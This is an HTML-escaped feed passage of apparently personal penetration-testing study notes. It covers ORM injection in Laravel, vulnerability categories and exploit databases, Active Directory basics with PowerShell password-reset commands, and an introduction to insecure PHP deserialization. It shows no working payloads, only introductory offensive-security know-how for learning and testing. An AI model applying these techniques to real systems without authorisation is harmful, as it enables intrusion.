&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_DATABASE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;your_database_name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_USERNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;your_database_user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_PASSWORD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;your_database_password
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Setting up Migrations: To create a migration, we can use the Artisan command-line tool that comes with Laravel. You can run the command &lt;code&gt;php artisan make:migration create_users_table --create=users&lt;/code&gt; to generate a migration for the &lt;code&gt;users&lt;/code&gt; table:&lt;/li&gt;
&lt;li&gt;This command generates a migration file in the database/migrations directory. The migration file contains methods to define the structure of the users table.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Illuminate\Database\Migrations\Migration&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Illuminate\Database\Schema\Blueprint&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Illuminate\Support\Facades\Schema&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CreateUsersTable&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Migration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;up&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;Schema&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;create&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;Blueprint&lt;/span&gt; $table) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $table&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $table&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $table&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;unique&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $table&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $table&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;timestamps&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;down&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;Schema&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;dropIfExists&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;In the above code, the up() method defines the structure of the users table. It includes columns for ID, name, email, password, and timestamps. Conversely, the down() method drops the users table if the migration is rolled back.&lt;/li&gt;
&lt;li&gt;After defining the migration, run the command &lt;code&gt;php artisan migrate&lt;/code&gt; to apply the migration and create the users table in the database. This command will execute the up() method in the migration file and create the users table with the specified columns in your database.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="identifying-orm-injection"&gt;Identifying ORM Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Identifying ORM injection vulnerabilities involves examining how user inputs are handled within ORM queries. These vulnerabilities typically arise when user inputs are directly embedded into ORM query methods without proper sanitisation or validation.&lt;/li&gt;
&lt;li&gt;Indicators of potential ORM injection issues include the use of dynamic queries that concatenate user inputs, raw query execution methods, and insufficient use of parameterised queries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="techniques-for-testing-orm-injection"&gt;Techniques for Testing ORM Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manual code review:&lt;/strong&gt; May reveal raw query methods (such as whereRaw() in Laravel) that incorporate user inputs directly, concatinated strings or unescaped inputs in ORM methods, which may indicate injection points.&lt;/p&gt;</description></item><item><title>Vulnerabilities</title><link>https://silent-resistor.github.io/resources/jr-pentester/vulnerabilites/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/vulnerabilites/</guid><description>&lt;h2 id="manual-search-vs-automated-search-for-vulnerabilities"&gt;Manual Search vs Automated search for vulnerabilities&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;the vulnerability scanner &lt;code&gt;Nessus&lt;/code&gt; has both a free (community) edition and commercial. The commercial version costing thousands of pounds for a year&amp;rsquo;s license will likely be used in organisations providing penetration testing services or audits.&lt;/li&gt;
&lt;li&gt;Frameworks such as &lt;code&gt;Metasploit&lt;/code&gt; often have vulnerability scanners for some modules; Manual scanning for vulnerabilities is often the weapon of choice by a penetration tester when testing individual applications or programs.&lt;/li&gt;
&lt;li&gt;Lets have a look at the type of Vulns
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Security Misconfigurations 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Security misconfigurations involve vulnerabilities that are due to developer oversight. For example, exposing server information in messages between the application and an attacker.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Broken Access Control	
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#This vulnerability occurs when an attacker is able to access parts of an application that they are not supposed to be able to otherwise.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Insecure Deserialization	
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#This is the insecure processing of data that is sent across an application. An attacker may be able to pass malicious code to the application, where it will then be executed.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Injection	
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#An Injection vulnerability exists when an attacker is able to input malicious data into an application. This is due to the failure of not ensuring (known as sanitising) input is not harmful.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="finding-manual-exploits"&gt;Finding Manual Exploits&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Rapid7&lt;/code&gt; Much like other services such as Exploit DB and NVD, Rapid7 is a vulnerability research database. The only difference being that this database also acts as an exploit database. Additionally, the database contains instructions for exploiting applications using the popular Metasploit tool.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GitHub&lt;/code&gt; is a popular web service designed for software developers. Security researchers store &amp;amp; share PoC’s (Proof of Concept) on GitHub, turning it into an exploit database in this context.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Searchsploit&lt;/code&gt; - Searchsploit is a tool that is available on popular pentesting distributions such as Kali Linux. This tool is an offline copy of Exploit-DB, containing copies of exploits on your system. We can use this as &lt;code&gt;searchsploit wordpress&lt;/code&gt; to search for vulnerabilities of wordpress.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Windows Active Directory - Basics</title><link>https://silent-resistor.github.io/resources/red-teaming/windows_ad_basics/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/windows_ad_basics/</guid><description>&lt;h2 id="1-introduction-to-active-directory"&gt;1. Introduction to Active Directory&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The core of any Windows Domain is the &lt;code&gt;Active Directory Domain Service (AD DS)&lt;/code&gt;. This service acts as a catalogue that holds the information of all of the &amp;ldquo;objects&amp;rdquo; that exist on your network.&lt;/li&gt;
&lt;li&gt;Amongest the many objects supportd by AD, we have
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Users&lt;/strong&gt; - Its an object that can act upon resources in the network. Should be authenticated by domain, and assigned with privileges. Users can be either:
&lt;ul&gt;
&lt;li&gt;People&lt;/li&gt;
&lt;li&gt;Services&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Machines&lt;/strong&gt;, A machine object is created when a computer joins the AD Domain. Machines assigned with an account just as regular users, but with limited rights in domai.
&lt;ul&gt;
&lt;li&gt;Machine account is the computer&amp;rsquo;s name followed by a dollar sign &lt;code&gt;$&lt;/code&gt;. For example, a machine named &lt;code&gt;DC01&lt;/code&gt; will have a machine account &lt;code&gt;DC01$&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Groups&lt;/strong&gt;: Groups can have both users and machines as members. If needed, groups can include other groups as well. Several &lt;a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups"&gt;security groups&lt;/a&gt; are created by default in the domain that can be used to grant specific privileges to users.
&lt;ul&gt;
&lt;li&gt;Domain Admins: Full admin privileges over entire domain&lt;/li&gt;
&lt;li&gt;Server Operators: Admistister Domain Controllers, cant change any admin group membership&lt;/li&gt;
&lt;li&gt;Backup Operators: Access any file, ignoring permissions.&lt;/li&gt;
&lt;li&gt;Account Operators: Create, modify, delete users and groups.&lt;/li&gt;
&lt;li&gt;Domain Users: Default group for all users.&lt;/li&gt;
&lt;li&gt;Domain Computers: Default group for all machines.&lt;/li&gt;
&lt;li&gt;Domain Controllers: Default group for all domain controllers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-active-directory-users-and-computers"&gt;2. Active Directory Users and Computers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To configure users, groups or machines in Active Directory, we need to log in to the Domain Controller and run &lt;em&gt;&amp;ldquo;Active Directory Users and Computers&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;It opens up a window where you can see the hierarchy of users, computers and groups that exist in the domain. These objects are organised in &lt;code&gt;Organizational Units (OUs)&lt;/code&gt; which are container objects that allow you to classify users and machines. OUs are mainly used to define sets of users with similar policing requirements.&lt;/li&gt;
&lt;li&gt;You probably noticed already that there are other default containers in the domain. These containers are created by Windows automatically and contain the following:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Builtin&lt;/strong&gt;: Contains default groups available to any Windows host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Computers&lt;/strong&gt;: Any machine joining the network will be put here by default. You can move them if needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain&lt;/strong&gt; Controllers: Default OU that contains the DCs in your network.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Users&lt;/strong&gt;: Default users and groups that apply to a domain-wide context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managed Service Accounts&lt;/strong&gt;: Holds accounts used by services in your Windows domain.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-security-groups-vs-ous"&gt;3. Security Groups vs OUs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;While both are used to classify users and computers, their purposes are entirely different:&lt;/li&gt;
&lt;li&gt;OUs are handy for &lt;strong&gt;applying policies&lt;/strong&gt; to users and computers, which include specific configurations that pertain to sets of users depending on their particular role in the enterprise. Remember, a user can only be a member of a single OU at a time, as it wouldn&amp;rsquo;t make sense to try to apply two different sets of policies to a single user.&lt;/li&gt;
&lt;li&gt;Security Groups, on the other hand, are used to &lt;strong&gt;grant permissions over resources&lt;/strong&gt;. For example, you will use groups if you want to allow some users to access a shared folder or network printer. A user can be a part of many groups, which is needed to grant access to multiple resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-delegation-of-control"&gt;4. Delegation of Control&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Delegation allows you to grant users specific privileges to perform advanced tasks on OUs without needing a Domain Administrator to step in.&lt;/li&gt;
&lt;li&gt;One of the most common uses for this is granting &lt;code&gt;IT Support&lt;/code&gt;, the privilages to reset the other low privilaged user&amp;rsquo;s passwords.&lt;/li&gt;
&lt;li&gt;For example, to delegate control over &lt;code&gt;OU&lt;/code&gt;, you can right click on it, and select &lt;code&gt;Delegate Control&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;This should open a new window where you will first asked for users to whom you want to delegate control.&lt;/li&gt;
&lt;li&gt;Then you will be asked to select the tasks that you want to delegate.&lt;/li&gt;
&lt;li&gt;Finally, you will be asked to confirm the delegation.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Lets say if you have delegated the ability to reset passwords to a user, they will be able to reset passwords for all users in that OU.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Reset User sophie&amp;#39;s password&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt &lt;span style="color:#e6db74"&gt;&amp;#34;New Password&amp;#34;&lt;/span&gt;) -Verbose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# We can also force a password reset at next logon&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="5-machines-in-ad"&gt;5. Machines in AD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;By default, all the machines that join a domain (except for the DCs) will be put in the container called &amp;ldquo;Computers&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;While there is no golden rule on how to organise your machines, an excellent starting point is segregating devices according to their use. In general, you&amp;rsquo;d expect to see devices divided into at least the three following categories:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Workstations&lt;/strong&gt;: Devices that users will use to do their work or normal browsing activities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Servers&lt;/strong&gt;: Generally used to provide services to users or other servers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain Controllers&lt;/strong&gt;: Allow us to manage the Active Directory Domain. These devices are often deemed the most sensitive devices within the network as they contain hashed passwords for all user accounts within the environment.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="6-group-policy-objects-gpos"&gt;6. Group Policy Objects (GPOs)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;So far, we have organised users and computers in OUs just for the sake of it, but the main idea behind this is to be &lt;strong&gt;able to deploy different policies for each OU&lt;/strong&gt; individually. That way, we can push different configurations and security baselines to users depending on their department.&lt;/p&gt;</description></item><item><title>Insecure deserilization</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/insecure-deserilization/</link><pubDate>Mon, 09 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/insecure-deserilization/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Insecure deserialisation exploits occur when an application trusts serialised data enough to use it without validating its authenticity.&lt;/li&gt;
&lt;li&gt;This trust can lead to disastrous outcomes as attackers manipulate serialised objects to achieve remote code execution, escalate privileges, or launch denial-of-service attacks.&lt;/li&gt;
&lt;li&gt;This type of vulnerability is prevalent in applications that serialise and deserialise complex data structures across various programming environments, such as Java, .NET, and PHP, which often use serialisation for remote procedure calls, session management, and more.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="some-basics"&gt;Some Basics&lt;/h2&gt;
&lt;h4 id="serialization"&gt;Serialization&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Think of serialisation is like taking different pieces of information and putting them together to make them easy to store or send to anywhere.&lt;/li&gt;
&lt;li&gt;In programming, serilization is a process of tranforming an object&amp;rsquo;s state into a human-readable or binary format that can be stored or transmitted and reconstructed as and when required.&lt;/li&gt;
&lt;li&gt;This capability is essential in applications where data must be transferred between different parts of a system. or across network, such as in web based applications.&lt;/li&gt;
&lt;li&gt;In PHP, this process is performed using the &lt;code&gt;serialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Example:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$noteArray &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;title&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;My THM Note&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;content&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Welcome to THM&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$serialisedNote &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;serialize&lt;/span&gt;($noteArray); &lt;span style="color:#75715e"&gt;// converting the note into a storable format
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;file_put_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;note.txt&amp;#39;&lt;/span&gt;, $serialisedNote); &lt;span style="color:#75715e"&gt;// saving the serialized note into a file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="derialization"&gt;Derialization&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Think of deserilization is like taking the packed-up data and turns it back into something you can use.&lt;/li&gt;
&lt;li&gt;It is process of converting the formated data back into an object. It&amp;rsquo;s crucial for retriving files, databases, or across networks, restoring it to its oringinal state for usage in applications.&lt;/li&gt;
&lt;li&gt;Example:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$serialisedNote &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;note.txt&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// Reading the serialised note from the file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$noteArray &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;unserialize&lt;/span&gt;($serialisedNote); &lt;span style="color:#75715e"&gt;// Converting the serialised string back into a PHP array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Title: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $noteArray[&lt;span style="color:#e6db74"&gt;&amp;#39;title&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Content: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $noteArray[&lt;span style="color:#e6db74"&gt;&amp;#39;content&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="specific-incidents-involving-serialisation-vulnerabilities"&gt;Specific Incidents Involving Serialisation Vulnerabilities&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Log4j Vulnerability CVE-2021-44228:&lt;/strong&gt; or Log4shell, is a critical flaw found in the Apache Log4j 2 library, a widely used logging library in Java applications. It allows remote attackers to execute arbitary code on affected sysytems by exploiting the library&amp;rsquo;s insecure deserilization functionality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebLogic Server RCE CVE-2015-4852:&lt;/strong&gt; was related to how the &lt;a href="https://www.oracle.com/security-alerts/alert-cve-2015-4852.html"&gt;Oracle web logice server&lt;/a&gt; deserilized data was sent to the T3 protocol. Attackers could send maliciously crafted objects to the server, which, when deserilized, led to RCE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jenkins Java Deserilization CVE-2016-0792:&lt;/strong&gt; A popular automation server used in software development, experianced a critical vulnerability involving java deserilization. Attackers could send crafted serialisation payloads to jenkins CLI, which, when deserilized, could allow arbitary code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="serialization-formats"&gt;Serialization formats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;While different programming languages may use varying keywords and functions for serialization, the underlying principle remains consistant.&lt;/li&gt;
&lt;li&gt;Whether Java, Python, .NET, or PHP, each language implements serialization to accommodate specific features or security measures inherent to its environment.&lt;/li&gt;
&lt;li&gt;Unlike other vulnerabilities that exploit the immediate processing of user inputs, insecure deserialisation problems involve a deeper interaction with the application core logic, often manipulating behaviour of its components.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="php-serialization"&gt;PHP Serialization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In PHP, serialisation is accomplished using the &lt;code&gt;serialize()&lt;/code&gt; function which converts a PHP object or array into a byte stream representing the object&amp;rsquo;s data and structure. T&lt;/li&gt;
&lt;li&gt;The resulting byte stream can include various data types, such as strings, arrays, and objects, making it unique.&lt;/li&gt;
&lt;li&gt;To illustrate this, let&amp;rsquo;s consider a notes application where users can save and retrieve their notes.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Notes&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; $Notescontent;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__construct&lt;/span&gt;($content) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Notescontent&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $content;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
